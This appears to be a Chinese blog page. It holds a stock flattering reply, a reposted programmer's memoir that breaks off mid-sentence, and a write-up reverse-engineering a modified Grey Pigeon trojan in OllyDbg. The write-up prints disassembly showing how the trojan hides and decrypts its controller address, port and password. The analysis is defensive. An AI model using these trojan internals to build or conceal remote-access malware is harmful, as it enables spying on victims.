    在看完这帖子以后,我没有立即回复,因为我生怕我庸俗不堪的回复会玷污了这网上少有的帖子。但是我还是回复了,因为觉得如果不能在如此精彩的帖子后面留下自己的网名,那我死也不会瞑目的!能够在如此精彩的帖子后面留下自己的网名是多么骄傲的一件事啊!楼主,请原谅我的自私!
    我知道无论用多么华丽的辞藻来形容楼主您帖子的精彩程度都是不够的,都是虚伪的,所以我只想说一句:您的帖子太好看了!我愿意一辈子的看下去!
    这篇帖子构思新颖,题材独具匠心,段落清晰,情节诡异,跌宕起伏,主线分明,引人入胜,平淡中显示出不凡的文学功底,可谓是字字珠玑,句句经典,是我辈应当学习之典范。
    本来我已经对这个社区失望了,觉得这个社区没有前途了,心里充满了悲哀。但是看了你的这个帖子,又让我对社区产生了希望。是你让我的心里重新燃起希望之火,是你让我的心死灰复燃,是你拯救了我一颗拨凉拨凉的心!
    本来我决定不会在社区回任何帖子了,但是看了你的帖子,我告诉自己这个帖子是一定要回的!这是百年难得一见的好贴啊!苍天有眼啊,让我在优生之年得以观得如此精彩绝伦的帖子

老程序员十年生涯黯然总结

0

分类 : 网络日志 | 发表时间 20-03-2006

老程序员十年生涯黯然总结(上)【转自CSDN】
愿以此文与大家共勉,让我们在代码的世界里自由自在的飞翔……

------------------------------

今年是我大学毕业满10年的日子,也是我投身it技术的第10年。一直想能对过去的经历做些回顾与反思,以更好地走向未来,但总没有笔。刚好csdn举办“讲述程序员的故事”征文,这件事成了一个引子,我终于趁着暑期有时间,敲了一天键盘,便有了这篇人生自述。
10年对于一个人来说是比较长的一个阶段,10年之后,同期大学毕业的同学情况差异之大,让人叹息命运之变幻莫测。

我在此记录下了我的生活足迹,由于时间较长,有些事记得不太清了,但我是尽量真实的记录当时的情况,有兴趣看我这篇长文的人请把我看成是一个在你我中间一块生活,一起喜怒哀乐,一起努力的平凡人,相信我们之间会有很多跨越时空的情感交流。
好,就说到此吧。


从1994到2003,不知不觉之间,我已在计算机技术的世界里沉浸了十年。有位哲人说过:如果一个人能用十年的时间专心致志地研究一门学问,或学习一门手艺,或从事一个职业,他一定能成为这个领域的专家。我天资平庸,但哲人的话是有道理的。我用十年的时间先成为了一名合格的程序员,再成为了一个重点大学计算机专业的大学教师。十年磨一剑,蓦然回首,年华如水,青春如歌!

我父母都是城市中的平民,家境仅能解决温饱,我想我可能代表了中国社会的一大类青年,我的经历与体会可能会对许多条件并不好的年青程序员有所启示:只要努力,天资差与环境不好都是可以克服的。因为我不是牛人,所以我不能教你如何成为牛人,我只是尽量真实地写下我的经历与感触,写一个平凡人的努力过程。我为我是一个软件开发者而自豪,为我从事的教书育人的事业而自豪,并愿意为中国落后的软件业尽己菲薄之力,为此,我人生无悔!
我想分为三部分讲述我的人生经历:上篇:学习人生:主要是我学习计算机技术的经历与感触,时间跨度大约是从1994~1996年;中篇:艰难人生:主要是我流迹社会,失业一年半,三次考研的痛苦经历;时间跨度大约是从1997~1999年;下篇:实践人生:主要是我的技术实践经历:在公司打工,开发软件,毕业求职与教书生涯,时间跨度是1999~2003。

一 计算机是什么东西?
我是七十年代初在中国出生的那一代人,等我们长大开始读书时,文革已经结束,相对于我们的兄长,从我们这一代开始,以后出生的孩子都能受到较为正规的教育,这是我们幸运的地方。

也就是我们上小学的时候,七十年代末,以美国为技术资源中心的计算机技术开始在全球范围内迅猛发展,这时正是世界性的“软件危机”极为严重的时候,计算机技术各方面都在酝酿着新的突破,而此时比尔盖茨也正在准备构建他的明日微软帝国。
七十年代末与八十年代初,在我们的生活中,看不到一点计算机技术的影子,刚刚改革开放的中国,99%以上的人连“计算机”这个词恐怕都没听说过,中国游离于信息技术大门之外。
在“振兴中华”成为时代主旋律的八十年代,整个中国真的是呈现出一种勃勃的生机,这是一个民族在经历百年耻辱,十年挫折之后的再起步,象一些老歌—《金梭与银梭》,《在希望的田野上》等,就是当时青年的一种积极向上的精神风貌的体现。这种环境下,对于正在成长中的我们这一批少年,在潜意识中有极为深刻的影响,我们认为爱国与振兴中华是天经地义的事,并且成为了努力学习的主要动力(呵呵,现在的一些“愤青”—愤怒青年一定会说我们当时被“洗脑”了,也许真的是吧,这种信念确实会给人以极大的动力,我看不出有什么不好,至少我不会有现在这一批青年所经历的非常迷茫的感觉)。
1986年我考上了桂林市重点高中—桂林中学,在那儿,我第一次见到了电脑。

1.中学的计算机兴趣班

1987年我在桂林中学读高二,桂中是重点高中,条件较好,当时学校课外安排了两个班:无线电班和计算机班,我上的是计算机班,当时用的微机是apple ii,用basic编程。记得当时中国也开发了一种同档次的计算机,叫做中华学习机,要在中小学中大力推广,但apple ii后来发展成了著名的mac系列,并拥有了自己的操作系统,而中国的中华学习机,还有后来的小霸王等电脑学习机,都无疾而终了。
学校安排上机,有同学不知从哪找来了一些有趣的basic程序,什么“比翼双飞”,“飞机空战”等等,都是一些非常简单的小游戏,当时他抄了厚厚一本,一上机就敲一些到计算机中运行,而我是一点也不会,只有站在一边看的份。
那时会计算机的人很少,老师讲的我又不明白,考试的时候也不知道怎么过的。呵呵,后来我读研打工时,在网上看到洛阳一个高中生用vb编的一个“电子书童”程序,水平之高,我当时真是没法比。
1989年六四动乱,广西高考名额一下减了7000多,竞争激烈,十几人里才能取一个,由于压力过大,我高考前夕失眠,第二天考语文,120分的试卷当时只考了68分,因而与重点高校无缘。本想复读,但父母怕我来年考不上,一定要让我读广西大学,我万分不情愿地顺从了父母的意愿,去了我不喜欢的学校,读了我不喜欢的专业。男怕入错行,我在大学毕业后重新开始学我喜欢的专业,足足用了五六年的时间才转过来,真正成为一名合格的劳动者,走了一条长长的弯路,所以,父母的决定对缺乏经验与决断力的孩子而言,真的是非常重要。
现在想起来,父母当时没错,我也没错,那都是在时代与社会环境下的自然选择。

2.失败的四年本科与工作初期

作为六四之后第一批进入大学的本科生,我们学习了两年的“六四风波的反思”,四年里我是个老老实实的好学生,但四年除了玩命过了六级,什么也没学会。
记得大学第一节课就是basic语言,呵呵,也根本没学会,但我看来注定了要与basic难解难分了,后面的实践篇中我会讲我用basic开发的事。
大学里我学的专业是电力系统自动化,学过微机原理与fortran,上机时还用的是古老的主机加终端方式的计算机(叫做l/f机),我上机时真是一塌糊涂,因为这门课我从没学进去,也从没学懂过。有同学很厉害的,会用电脑打印出许多漂亮的图片(当然现在看起来很粗糙,针式打印机打的),我那时就称这些人为牛人了。
呵呵,我如果没记错的话,做超级解霸的梁肇新也是广西大学的,但不是我们系,记得我当时就已听到有关几个计算机牛人的事,估计其中就有他吧,如果我记错了,梁肇新先生请指正。在本科期间,我对电脑是神秘多于兴趣。这也说明我成为不了牛人与大师,天资有限。后来,我发现一个普遍的规律,如果能成为计算机方面的牛人与大师,请去翻翻他们的传记,绝大多数在本科期间就已展露出他们的才华。而我们现在的中国高校,这么多的本科生都在为考试、考研、考托、考g而奔忙,这种填鸭式的应试教育体制,扼杀了太多学生的创造性。结果是一个学生在大学里读得越认
真,就受到的错误影响越大,我是用好几年的时间反思才得出这个结论的。所以,中国高校十几年数以几十万计的本科生中出不了可编写linux内核的杰出人才,一点也不奇怪。

1993年我毕业了,用我总结的一段话来说,是:
一张白纸进来,一脑浆糊出去。
毕业后我分到了一所号称是“中港合资”的生产蓄电池的公司,呵呵,刚刚工作的日子让我这个单纯的大学生被生活好好的教训了一下,许多无法以前想象的社会现象让我目瞪口呆,年轻气盛导致穿了小鞋,还只能忍气吞声。吃了生活的一个闷棍,我才明白,我除了有张文凭,什么都不是!
当时,我感到最郁闷的是我在公司里什么都不会做,一个电机烧坏了我楞不知如何下手修,公司老总办公室里的灯不亮了,学电的大学生我花了半小时楞不知原因在哪!我学的东西没一样能用的。开始我还以为是因为我在学校里没认真学,但后来问了很多同学,90%以上的都有同感,我现在终于认识到这不单是我个人的错,我自认为在学校中是很努力的,从未偷懒过,但如果90%以上的学生所学不能服务社会,这种教育体制一定存在问题。
四年里,我的电脑知识与技能=0!
现在看起来,我浪费了宝贵的四年光阴!但当时的环境与认识水平,也只能如此了,没有当初的浪费,怎有后来的珍惜?这是人生必经的一个阶段。
二 漫长的理论学习时期

二 漫长的理论学习时期

1.从电脑培训班开始

我毕业后的第一个工作单位是一个非常差的企业,我在那儿见识了几乎所有中国差的企业的弊端:人浮于事,拉帮结派,暗箭伤人,损公肥私……。可以想见,在这样的企业工作,人是多么的颓废。我在无聊之中过了大半年的时间。1994年4月的一天我去桂林新华书店买书,看到桂林电子工业学院老师举办一个电脑培训班,教打字、排版、常用dos命令等电脑使用基础,反正也没事,不如上个班学点东西吧。不曾想就是这样一个培训班,却根本影响了我的人生之路。
我清楚地记得当我第一次上机时,连电脑开关在哪都找不到,老师拿着一张五寸软盘,插入软驱,打开电源,在一阵“吱吱”的声音之后,屏幕上开始有英文字符出现,然后,教师在键盘上敲入几个键,电脑沉默一会,突然在屏幕上跳出一个小人,出现一行字:快快乐乐学电脑,还传出了音乐。我当时真是惊呆了,电脑怎么还会唱歌?现在想起来,那个软件其实是台湾松岗系列教学软件,而我一个大学本科生,在毕业之后居然对电脑无知到这个地步,我真不知道是该哭还是该笑……!
俗语说:“一见钟情”。我是相信这种事的,因为就是这第一次上机,让我产生了搜索这一神秘世界的强烈兴趣,从此就再难与电脑分开了。
当时,有两位电子学院的老师:尹老师和陈老师。他们给我们讲dos,讲汉字输入,讲他们如何修改天汇汉字系统使它能在一张软盘上运行,讲打字排版……,一个月之后,我不满足,又学了一个月。
在上培训班的时间里,我向老师要来了桂林电子工业学院计算机应用专业本科四年的培养方案,回到家中,列出了所有本科课程,再根据书上的先修课程介绍,绘制了一张巨大的课程树,从树根开始,决定一本本地啃,从头开始学计算机技术。计算机科学的学习有较强的系列性,想一步到位很可能会学不懂,但循序渐进又无法跟上技术发展的速度,这是一个非常突出的问题。我现在想起来,觉得好的学习方式是:学理论打基础,在实践中逐步理解理论,多思多悟,就会发现层出不穷的新技术中有许多一直不变的东西存在。把握这种东西,就可以以不变应万变。这种“不变”的东西是什么?就是软件开发的基本原理与理论,基本思想与方法!在我对面向对象理论进行了较深入的学习与把握之后,我学.net只用了三个月的时间就可以独立设计一个完整的全面向对象软件架构,并且用vb.net与c#混合语言把它给做出来了。对于j2ee,我同样有这种自信,也用三个月的时间,一定可以开发与设计基于j2ee平台的软件,因为它们背后的计算机技术基础是一致的,完全可以触类旁通。
尹老师和陈老师可能不知道,他们开的一个也许是为了经济效益的培训班,最后居然培育出了一个计算机硕士!所以,作为一名教师,其责任真的是非常重大的,可能会影响学生的一辈子,我感激他们!

2.漫长而艰辛的学习之路
我当时每月只有一百多元的工资收入,把大半收入都用到买书上去了。电子工业学院门旁的那个科技书店,以及桂林科技书店,成为了我最常去“站读”的地方。我买了数据结构、操作系统、微机原理、ibmpc汇编程序设计,c程序设计……这些教材,就按照预定的计划开始学了。
我当时也说不清楚为什么要学这些东西,决不象现在学生学什么东西都有很强的功利性:学英语为了出国,学电脑为了好找工作。当时根本就没有想过今后如何如何,就是对计算机技术本身的兴趣推动我去学习的。
当时计算机书还不象现在这样扑天盖地,我几乎看完了我能弄到的每一本计算机书,看了一些书,就特别想有地方上机,能练一练。但我一个月一百多元收入,一台电脑怎么也得几千元,要五六年不吃不喝才攒够钱,父母都是普通百姓,家境仅能温饱,拥有一台电脑真成了我最大的美梦。
为了有机会上机,我这个脸皮极薄的人也会什么都顾不上了,带着一盒保存着各种软件的软盘,厚着脸皮到处找可能的地方上机。在这个时候,电子工业学院又一次帮了我,他们的机房管理得并不严,我就冒充是他们的学生去买机票上机。后来去得多了,那儿的老师都熟悉我这张脸了,但搞笑的是,居然没一人知道我是哪个班的!
当时电子学院用的局域网操作系统是novell,我在那儿学会了使用许多最基础的软件,现在仍然如数家珍:cpav,turbo pascal 5.5,ucdos,tway(天慧汉字系统),masm,turboc2.0,还有鼎鼎大名的norton公司的磁盘医生ndd,pctools,borland公司的最牛的常驻内存的软件sidekick,……
在电子学院机房,我还玩了经典游戏:决战中国海,冒险岛,战斧,三国……。
学校网络里软件很多,但其中所染的病毒也五花八门。我记忆深刻的是第一次遇见dir ii病毒时,那种感觉决不是害怕,而是欣喜,呵呵,我见到病毒什么样的啦!由于dos内核是开放的,所以那时开发一个病毒程序相对容易,大家又都喜欢用软盘拷来拷去,结果毒源泛滥,病毒的猖獗使得杀毒软件有了巨大的市场,现在大名鼎鼎的江民kv系列,就是在那时开始占据中国防毒市场,同时还有部的kill等竞争对手,瑞星,金山等都是后来者。
那时,我白天在公司上班,就盼望着晚上的上机,每次上机我都有详细的计划,因为机时宝贵,所以份外珍惜。
为了上机时能多敲些程序,我一咬牙,向妈妈要了两百元,买了一台电脑学习机,回家苦练英文指法与五笔输入,每天对着家里那台14寸的电视机屏幕,敲击至少键盘2小时以上。练得手腕酸疼,但终于达到了运指如飞盲打的程度。学五笔,背字根“目具上止卜虎皮……足足花了一星期才背下来,并把每个字根与手指对应起来,后来看报纸都不自觉地将汉字

灰鸽子木马来源追踪

0

分类 : 技术文摘 | 发表时间 13-01-2006

【目 标】:N/A
【工 具】:OllyDBG 1.1
【任 务】:木马来源追踪
【操作平台】:Windows xp sp2
【作 者】: LOVEBOOM[DFCG][FCG][CUG]
【相关链接】: N/A
【简要说明】: 今天在硬盘里找到个木马,用几款杀毒软件杀了下没有结果。自己用OD看了下,发现是灰鸽子的修改版(很反感灰鸽子的作者,搞的到处是“垃圾”)。在网上简单的搜索了一下没有发现怎么揪出放木马的者的信息的相关文章,于是乎自己大概的分析了,写出来方便各位以后找源头。
【详细过程】:

今天安装软件时,系统提示没有多少空间可用,于是整理了下硬盘,这一整就整出了这么个东西,在程序文件夹下发现一个可疑的程序,看看生成日期,嗯,不错,程序差不多放了一个月了。看看程序的相关信息先:


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


程序路径: c:\program files\message\message.exe


属性: 隐藏


创建时间: 2005年12月12日, 16:19:21


修改时间: 2005年9月9日, 20:25:20


文件大小: 301 KB (308,920 字节)


PEID扫描: ASPack 2.x (without poly) -> Alexey Solodovnikov


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


一看名字感觉就是不对劲了,十有九是中木马或病毒了,把自己的卡巴更新一下病毒库,查一下提示没有病毒,在网上下一个江民在线查毒,查一下也提示没有病毒。自己想了下,没有可能的我自己在那天根本没有装过这类可疑的软件。看来得自己动手了,用lordpe 看看程序信息:


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


程序入口: 000CA000h


section name: fuck you


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


看来好像有人和我有深仇大恨了(我电脑里没有什么宝贝,最多只能拿我到一些未公布的脱壳和文章而已)。呵呵,既然来了,不管是敌是友,我都会接待的:- )。打开OD看了下入口信息,初步可以判断是和aspack变形版加的壳,是aspack加的壳就好办,把自己的脱壳脚本翻出来,运行到OEP处:


004A5AAC . 55 PUSH EBP


004A5AAD . 8BEC MOV EBP,ESP


004A5AAF . B9 06000000 MOV ECX,6


004A5AB4 > 6A 00 PUSH 0


呵呵,DELPHI写的东西,在OEP不远处可以看到很有用的东西了。








004A5ACB . 68 465E4A00 PUSH 004A5E46


004A5AD0 . 64:FF30 PUSH DWORD PTR FS:[EAX]


004A5AD3 . 64:8920 MOV DWORD PTR FS:[EAX],ESP


004A5AD6 . E8 99A8FFFF CALL 004A0374


004A5ADB . 8D55 EC LEA EDX,DWORD PTR SS:[EBP-14]


004A5ADE . B8 605E4A00 MOV EAX,004A5E60 ; ASCII “www.huigezi.net”


004A5AE3 . E8 24BBFFFF CALL 004A160C


004A5AE8 . 8D55 E4 LEA EDX,DWORD PTR SS:[EBP-1C]


004A5AEB . 33C0 XOR EAX,EAX


004A5AED . E8 AAD0F5FF CALL 00402B9C


004A5AF2 . 8B45 E4 MOV EAX,DWORD PTR SS:[EBP-1C]


004A5AF5 . 8D55 E8 LEA EDX,DWORD PTR SS:[EBP-18]


004A5AF8 . E8 533DF6FF CALL 00409850


004A5AFD . 8B55 E8 MOV EDX,DWORD PTR SS:[EBP-18]


004A5B00 . B8 88BF4A00 MOV EAX,004ABF88


004A5B05 . E8 E6EEF5FF CALL 004049F0


004A5B0A . A1 88BF4A00 MOV EAX,DWORD PTR DS:[4ABF88]


004A5B0F . E8 48F3F5FF CALL 00404E5C


004A5B14 . 50 PUSH EAX ; /String2 = FFFFFFFF ???


004A5B15 . 68 705E4A00 PUSH 004A5E70 ; |String1 = “IExplore.exe”


004A5B1A . E8 6D16F6FF CALL 0040718C ; \lstrcmpiA


004A5B1F . 85C0 TEST EAX,EAX


004A5B21 . 0F94C0 SETE AL


上面都显示出是huigezi的网站,那基本上就可以判断出是灰鸽子木马了,到这里我以为就结束了,既然是灰鸽子当然先是去网上把杀灰鸽子木马的软件,下了个灰鸽子 vip 2005专杀工具,一查软件告诉我没有找到灰鸽子,俺一想也是可能我这里把木马给关掉了所以查不到,那就把程序运行起来,运行起来后,看看进程里多了个iexplorer.exe(看来是注入系统进程了),再查,还是提示没有发现木马。看来是被人改过了,再去找个瑞星的专杀工具和安天的试了下,都提示没有木马,这回真的得手工处理了,既然要我手工处理我就来个更远一点的,揪出放木马的者,看看是谁这么无聊,这么喜欢看别人的隐私。好了,开始想怎么去找线索,程序要把我们的信息给放木马者,放木马者肯定要在放之前配置好,告诉程序走哪条路,怎么走之类的,那么这些信息又存放哪里呢?我想了下一般放这么几个地方吧:


一、 放到一个配置文件里,然后和程序文件一起,程序运行后读取信息。既然是木马我想没有谁会这么招摇吧,这样想来,就否认了这种方式。


二、 把配置信息和程序绑在一起,这里又有3种常见的方式:


1、 用绑定机把配置信息和程序绑成一个文件,但想一下,再加一个shell程序不又得变大多少KB了,因此想来这种方法可能性不大。


2、 把配置信息作为程序的附加数据,用PEID看了下,提示并没有附加数据。这样看来,很有可能是第三种方式了。


3、 把配置信息作为程序资源的一部分,在读取的时候通过Findresource来读取信息。


好了,初步推测是这样,打开OD来证实下,OD载入目标,下断FindResourceA,运行中断后,观察堆栈信息:


0013FEAC 004A11C2 /CALL to FindResourceA from message.004A11BD


0013FEB0 00400000 |hModule = 00400000 (message)


0013FEB4 004A088C |ResourceName = “SEVINFO”


0013FEB8 0000000A \ResourceType = RT_RCDATA


执行到返回,一看没错,可以证实是用2.3的方式把配置信息作为资源来处理。


004A11B5 . 50 PUSH EAX ; /ResourceType = 250


004A11B6 . 52 PUSH EDX ; |ResourceName = 000BD000 ???


004A11B7 . A1 64A64A00 MOV EAX,DWORD PTR DS:[4AA664] ; |


004A11BC . 50 PUSH EAX ; |hModule = 00000250


004A11BD . E8 B25CF6FF CALL 00406E74 ; \FindResourceA


004A11C2 . 8BD8 MOV EBX,EAX ; 返回到这里


004A11C4 . 85DB TEST EBX,EBX


004A11C6 . 0F84 D5000000 JE 004A12A1 ; 如果没有找到资源则跳去结束处


004A11CC . 53 PUSH EBX ; /hResource = 00000250 (window)


004A11CD . A1 64A64A00 MOV EAX,DWORD PTR DS:[4AA664] ; |


004A11D2 . 50 PUSH EAX ; |hModule = 00000250


004A11D3 . E8 745EF6FF CALL 0040704C ; \LoadResource


004A11D8 . 8BF0 MOV ESI,EAX ; 载入自定义资源


004A11DA . 85F6 TEST ESI,ESI ; message.0
04C4BA4


004A11DC . 0F84 BF000000 JE 004A12A1 ; 如果载入资源失败跳去结束处


004A11E2 . 53 PUSH EBX ; /hResource = 00000250 (window)


004A11E3 . A1 64A64A00 MOV EAX,DWORD PTR DS:[4AA664] ; |


004A11E8 . 50 PUSH EAX ; |hModule = 00000250


004A11E9 . E8 265FF6FF CALL 00407114 ; \SizeofResource


004A11EE . 8BD8 MOV EBX,EAX


本以为载入后就可以直接看到相关信息,d esi看了下就会发现原来木马在配置服务器端的时候进行了加密处理,我们现在看到的只是加密后的东西。


004C4BA4 44 38 35 45 36 41 31 35 46 33 45 41 32 45 34 32 D85E6A15F3EA2E42


004C4BB4 39 32 43 46 35 33 37 34 42 43 30 41 45 46 35 46 92CF5374BC0AEF5F


004C4BC4 38 36 37 39 44 46 36 41 45 34 33 39 34 36 42 38 8679DF6AE43946B8


004C4BD4 32 35 35 35 38 39 32 32 32 35 35 44 37 25558922255D7


不管它怎么加密程序最终还是要还原出原来的东西,既然要还原正确的信息,那就就一定行读取加密后的信息了,这样我们就在4C4BA4处下内存访问断点,mr 4C4BA4àRUN,运行后中断:


00402A3C |. FD STD


00402A3D |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>; 第一次中断在这里


00402A3F |. 89C1 MOV ECX,EAX


00402A41 |. 83E1 03 AND ECX,3


00402A44 |. 83C6 03 ADD ESI,3


00402A47 |. 83C7 03 ADD EDI,3


00402A4A |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>


00402A4C |. FC CLD


STD逆时针解密,在402a4a处断下后定位到edi所在的地址。然后两次执行到返回(CTRL+F9),返回到如下地址:


004A03A7 . BA 8C084A00 MOV EDX,004A088C ; ASCII "SEVINFO"


004A03AC . B9 02000000 MOV ECX,2


004A03B1 . B8 0A000000 MOV EAX,0A


004A03B6 . E8 DD0D0000 CALL 004A1198


004A03BB . 84C0 TEST AL,AL ; 返回到这里


004A03BD . 0F84 7F040000 JE <ExitProc> ; 如果读取配置信息失败则跳去ExitProcess


004A03C3 . B2 01 MOV DL,1


004A03C5 . A1 F0364100 MOV EAX,DWORD PTR DS:[4136F0]


004A03CA . E8 AD37F6FF CALL 00403B7C


004A03CF . 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX


004A03D2 . 8D4D F4 LEA ECX,DWORD PTR SS:[EBP-C]


004A03D5 . BA 9C084A00 MOV EDX,004A089C ; ASCII “20050101″


004A03DA . A1 E8BE4A00 MOV EAX,DWORD PTR DS:[4ABEE8]


004A03DF . E8 98D3FBFF CALL <Decrypt> ; 这里进去解密出配置文件的信息


004A03E4 . 8B55 F4 MOV EDX,DWORD PTR SS:[EBP-C] ; 到了这里 d [ebp+c]看到了什么


004A03E7 . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]


004A03EA . 8B08 MOV ECX,DWORD PTR DS:[EAX]


004A03EC . FF51 2C CALL DWORD PTR DS:[ECX+2C]


004A03EF . 8D55 F0 LEA EDX,DWORD PTR SS:[EBP-10]


004A03F2 . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]


004A03F5 . 8B08 MOV ECX,DWORD PTR DS:[EAX]


004A03F7 . FF51 1C CALL DWORD PTR DS:[ECX+1C]


004A03FA . 8B45 F0 MOV EAX,DWORD PTR SS:[EBP-10] ; 分出端口号


004A03FD . E8 5A4AF6FF CALL 00404E5C


004A0402 . 50 PUSH EAX ; /String = “4B?


004A0403 . E8 7C6CF6FF CALL 00407084 ; \OutputDebugStringA


004A0408 . 8D4D EC LEA ECX,DWORD PTR SS:[EBP-14] ; 把上面的配置信息显示到调试器,到了这里看看OD的状态栏是不是显示出了相关的信息


004A040B . 33D2 XOR EDX,EDX


004A040D . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]


004A0410 . 8B18 MOV EBX,DWORD PTR DS:[EAX]


004A0412 . FF53 0C CALL DWORD PTR DS:[EBX+C] ; message.004178FC


004A0415 . 8B55 EC MOV EDX,DWORD PTR SS:[EBP-14] ; 取出端口号


004A0418 . B8 20BF4A00 MOV EAX,004ABF20


004A041D . E8 CE45F6FF CALL 004049F0


004A0422 . 8D4D E8 LEA ECX,DWORD PTR SS:[EBP-18]


004A0425 . BA 01000000 MOV EDX,1


004A042A . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]


004A042D . 8B18 MOV EBX,DWORD PTR DS:[EAX]


004A042F . FF53 0C CALL DWORD PTR DS:[EBX+C] ; message.004178FC


004A0432 . 8B55 E8 MOV EDX,DWORD PTR SS:[EBP-18] ; 取出访问的地址


004A0435 . B8 34BF4A00 MOV EAX,004ABF34


004A043A . E8 B145F6FF CALL 004049F0


004A043F . 8D4D E4 LEA ECX,DWORD PTR SS:[EBP-1C]


004A0442 . BA 02000000 MOV EDX,2


004A0447 . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]


004A044A . 8B18 MOV EBX,DWORD PTR DS:[EAX]


004A044C . FF53 0C CALL DWORD PTR DS:[EBX+C] ; message.004178FC


004A044F . 8B55 E4 MOV EDX,DWORD PTR SS:[EBP-1C] ; 取出密码


004A0452 . B8 38BF4A00 MOV EAX,004ABF38


004A0457 . E8 9445F6FF CALL 004049F0


004A045C . 8D4D E0 LEA ECX,DWORD PTR SS:[EBP-20]


004A045F . BA 03000000 MOV EDX,3


004A0464 . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]


004A0467 . 8B18 MOV EBX,DWORD PTR DS:[EAX]


004A0469 . FF53 0C CALL DWORD PTR DS:[EBX+C] ; message.004178FC


004A046C . 8B55 E0 MOV EDX,DWORD PTR SS:[EBP-20] ; 取出程序存放的路径


004A046F . B8 D4BE4A00 MOV EAX,004ABED4


004A0474 . E8 7745F6FF CALL 004049F0


004A0479 . 8D55 DC LEA EDX,DWORD PTR SS:[EBP-24]


004A047C . A1 D4BE4A00 MOV EAX,DWORD PTR DS:[4ABED4]


004A0481 . E8 BEFBFFFF CALL 004A0044


004A0486 . 8B55 DC MOV EDX,DWORD PTR SS:[EBP-24] ; 取出实际路径


004A0489 . B8 D4BE4A00 MOV EAX,004ABED4


004A048E . E8 5D45F6FF CALL 004049F0


004A0493 . 8D55 D8 LEA EDX,DWORD PTR SS:[EBP-28]


004A0496 . A1 D4BE4A00 MOV EAX,DWORD PTR DS:[4ABED4]


004A049B . E8 B093F6FF CALL 00409850 ; 取出EXE文件名


004A04A0 . 8B55 D8 MOV EDX,DWORD PTR SS:[EBP-28]


004A04A3 . B8 D8BE4A00 MOV EAX,004ABED8


004A04A8 . E8 4345F6FF CALL 004049F0


004A04AD . 33C0 XOR EAX,EAX


004A04AF . 55 PUSH EBP


004A04B0 . 68 E2044A00 PUSH 004A04E2


004A04B5 . 64:FF30 PUSH DWORD PTR FS:[EAX]


004A04B8 . 64:8920 MOV DWORD PTR FS:[EAX],ESP


004A04BB . 8D4D D4 LEA ECX,DWORD PTR SS:[EBP-2C]


004A04BE . BA 04000000 MOV EDX,4


004A04C3 . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]


004A04C6 . 8B18 MOV EBX,DWORD PTR DS:[EAX]


004A04C8 . FF53 0C CALL DWORD PTR DS:[EBX+C]
; message.004178FC


004A04CB . 8B45 D4 MOV EAX,DWORD PTR SS:[EBP-2C] ; 取出端口?


004A04CE . E8 518CF6FF CALL <StrtoInt> ; 转换为数字


004A04D3 . A3 30BF4A00 MOV DWORD PTR DS:[4ABF30],EAX ; 保存端口


004A04D8 . 33C0 XOR EAX,EAX


004A04DA . 5A POP EDX ; 0013FEF8


004A04DB . 59 POP ECX ; 0013FEF8


004A04DC . 59 POP ECX ; 0013FEF8


004A04DD . 64:8910 MOV DWORD PTR FS:[EAX],EDX


004A04E0 . EB 14 JMP SHORT 004A04F6


004A04E2 .^ E9 653BF6FF JMP 0040404C


004A04E7 . C705 30BF4A00>MOV DWORD PTR DS:[4ABF30],32


004A04F1 . E8 BE3EF6FF CALL 004043B4


004A04F6 > 8D4D D0 LEA ECX,DWORD PTR SS:[EBP-30]


004A04F9 . BA 05000000 MOV EDX,5


004A04FE . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]


004A0501 . 8B18 MOV EBX,DWORD PTR DS:[EAX]


004A0503 . FF53 0C CALL DWORD PTR DS:[EBX+C] ; 取出name information


004A0506 . 8B55 D0 MOV EDX,DWORD PTR SS:[EBP-30]


004A0509 . B8 2CBF4A00 MOV EAX,004ABF2C


004A050E . E8 DD44F6FF CALL 004049F0


004A0513 . 8D4D CC LEA ECX,DWORD PTR SS:[EBP-34]


004A0516 . BA 06000000 MOV EDX,6


004A051B . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]


004A051E . 8B18 MOV EBX,DWORD PTR DS:[EAX]


004A0520 . FF53 0C CALL DWORD PTR DS:[EBX+C] ; message.004178FC


004A0523 . 8B55 CC MOV EDX,DWORD PTR SS:[EBP-34]


004A0526 . B8 FCBE4A00 MOV EAX,004ABEFC


004A052B . E8 C044F6FF CALL 004049F0


004A0530 . 33C0 XOR EAX,EAX


004A0532 . 55 PUSH EBP


004A0533 . 68 65054A00 PUSH 004A0565


004A0538 . 64:FF30 PUSH DWORD PTR FS:[EAX]


004A053B . 64:8920 MOV DWORD PTR FS:[EAX],ESP


004A053E . 8D4D C8 LEA ECX,DWORD PTR SS:[EBP-38]


004A0541 . BA 07000000 MOV EDX,7


004A0546 . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]


004A0549 . 8B18 MOV EBX,DWORD PTR DS:[EAX]


004A054B . FF53 0C CALL DWORD PTR DS:[EBX+C] ; message.004178FC


004A054E . 8B45 C8 MOV EAX,DWORD PTR SS:[EBP-38] ; 取出端口


004A0551 . E8 CE8BF6FF CALL <StrtoInt>


004A0556 . A3 D0BE4A00 MOV DWORD PTR DS:[4ABED0],EAX


004A055B . 33C0 XOR EAX,EAX


004A055D . 5A POP EDX ; 0013FEF8


004A055E . 59 POP ECX ; 0013FEF8


004A055F . 59 POP ECX ; 0013FEF8


004A0560 . 64:8910 MOV DWORD PTR FS:[EAX],EDX


004A0563 . EB 14 JMP SHORT 004A0579


004A0565 .^ E9 E23AF6FF JMP 0040404C


004A056A . C705 D0BE4A00>MOV DWORD PTR DS:[4ABED0],1F40


004A0574 . E8 3B3EF6FF CALL 004043B4


004A0579 > 8D4D C4 LEA ECX,DWORD PTR SS:[EBP-3C]


004A057C . BA 08000000 MOV EDX,8


004A0581 . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]


